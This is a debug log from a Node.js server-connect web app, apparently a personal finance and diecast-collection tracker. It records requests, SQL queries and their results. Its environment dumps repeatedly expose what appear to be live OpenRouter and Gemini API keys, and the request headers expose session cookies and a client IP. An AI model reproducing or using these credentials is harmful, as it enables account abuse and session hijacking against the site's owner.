    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?series=&search=&manufacturer=72&brand=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:22:48.769Z server-connect:router Serving templateView /
2026-02-04T07:22:48.769Z server-connect:app Executing action step identify
2026-02-04T07:22:48.769Z server-connect:app options: { provider: 'security' }
2026-02-04T07:22:48.769Z server-connect:output identity: 1
2026-02-04T07:22:48.769Z server-connect:app Executing action step restrict
2026-02-04T07:22:48.769Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:22:48.771Z server-connect:output restrict: undefined
2026-02-04T07:22:48.771Z server-connect:app Executing action step restrict
2026-02-04T07:22:48.771Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:22:48.771Z server-connect:output restrict: undefined
2026-02-04T07:22:48.771Z server-connect:router Render template layouts/main
2026-02-04T07:22:48.771Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?series=&search=&manufacturer=72&brand=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?series=&search=&manufacturer=72&brand=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:24:30.142Z server-connect:router Serving templateView /collections
2026-02-04T07:24:30.142Z server-connect:app Executing action step identify
2026-02-04T07:24:30.142Z server-connect:app options: { provider: 'security' }
2026-02-04T07:24:30.142Z server-connect:output identity: 1
2026-02-04T07:24:30.142Z server-connect:app Executing action step restrict
2026-02-04T07:24:30.142Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:24:30.145Z server-connect:output restrict: undefined
2026-02-04T07:24:30.145Z server-connect:router Render template masters/collections
2026-02-04T07:24:30.145Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:24:30.423Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T07:24:30.424Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:24:30.424Z server-connect:app Executing action step identify
2026-02-04T07:24:30.424Z server-connect:app options: { provider: 'security' }
2026-02-04T07:24:30.424Z server-connect:output identity: 1
2026-02-04T07:24:30.424Z server-connect:app Executing action step restrict
2026-02-04T07:24:30.424Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:24:30.424Z server-connect:app Executing action step identify
2026-02-04T07:24:30.424Z server-connect:app options: { provider: 'security' }
2026-02-04T07:24:30.424Z server-connect:output identity: 1
2026-02-04T07:24:30.424Z server-connect:app Executing action step restrict
2026-02-04T07:24:30.424Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:24:30.425Z server-connect:output restrict: undefined
2026-02-04T07:24:30.425Z server-connect:app Executing action step select
2026-02-04T07:24:30.425Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T07:24:30.426Z server-connect:output restrict: undefined
2026-02-04T07:24:30.426Z server-connect:app Executing action step paged
2026-02-04T07:24:30.426Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:24:30.428Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T07:24:30.430Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 189,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:24:31.931Z server-connect:router Serving templateView /diecast
2026-02-04T07:24:31.931Z server-connect:app Executing action step identify
2026-02-04T07:24:31.932Z server-connect:app options: { provider: 'security' }
2026-02-04T07:24:31.932Z server-connect:output identity: 1
2026-02-04T07:24:31.932Z server-connect:app Executing action step restrict
2026-02-04T07:24:31.932Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:24:31.932Z server-connect:output restrict: undefined
2026-02-04T07:24:31.932Z server-connect:router Render template diecast
2026-02-04T07:24:31.932Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:24:32.244Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:24:32.245Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:24:32.246Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:24:32.247Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:24:32.247Z server-connect:app Executing action step identify
2026-02-04T07:24:32.247Z server-connect:app options: { provider: 'security' }
2026-02-04T07:24:32.247Z server-connect:output identity: 1
2026-02-04T07:24:32.247Z server-connect:app Executing action step restrict
2026-02-04T07:24:32.247Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:24:32.248Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:24:32.248Z server-connect:output restrict: undefined
2026-02-04T07:24:32.248Z server-connect:app Executing action step select
2026-02-04T07:24:32.248Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:24:32.248Z server-connect:app Executing action step identify
2026-02-04T07:24:32.248Z server-connect:app options: { provider: 'security' }
2026-02-04T07:24:32.248Z server-connect:output identity: 1
2026-02-04T07:24:32.248Z server-connect:app Executing action step restrict
2026-02-04T07:24:32.248Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:24:32.249Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:24:32.249Z server-connect:app Executing action step identify
2026-02-04T07:24:32.249Z server-connect:app options: { provider: 'security' }
2026-02-04T07:24:32.249Z server-connect:output identity: 1
2026-02-04T07:24:32.249Z server-connect:app Executing action step restrict
2026-02-04T07:24:32.249Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
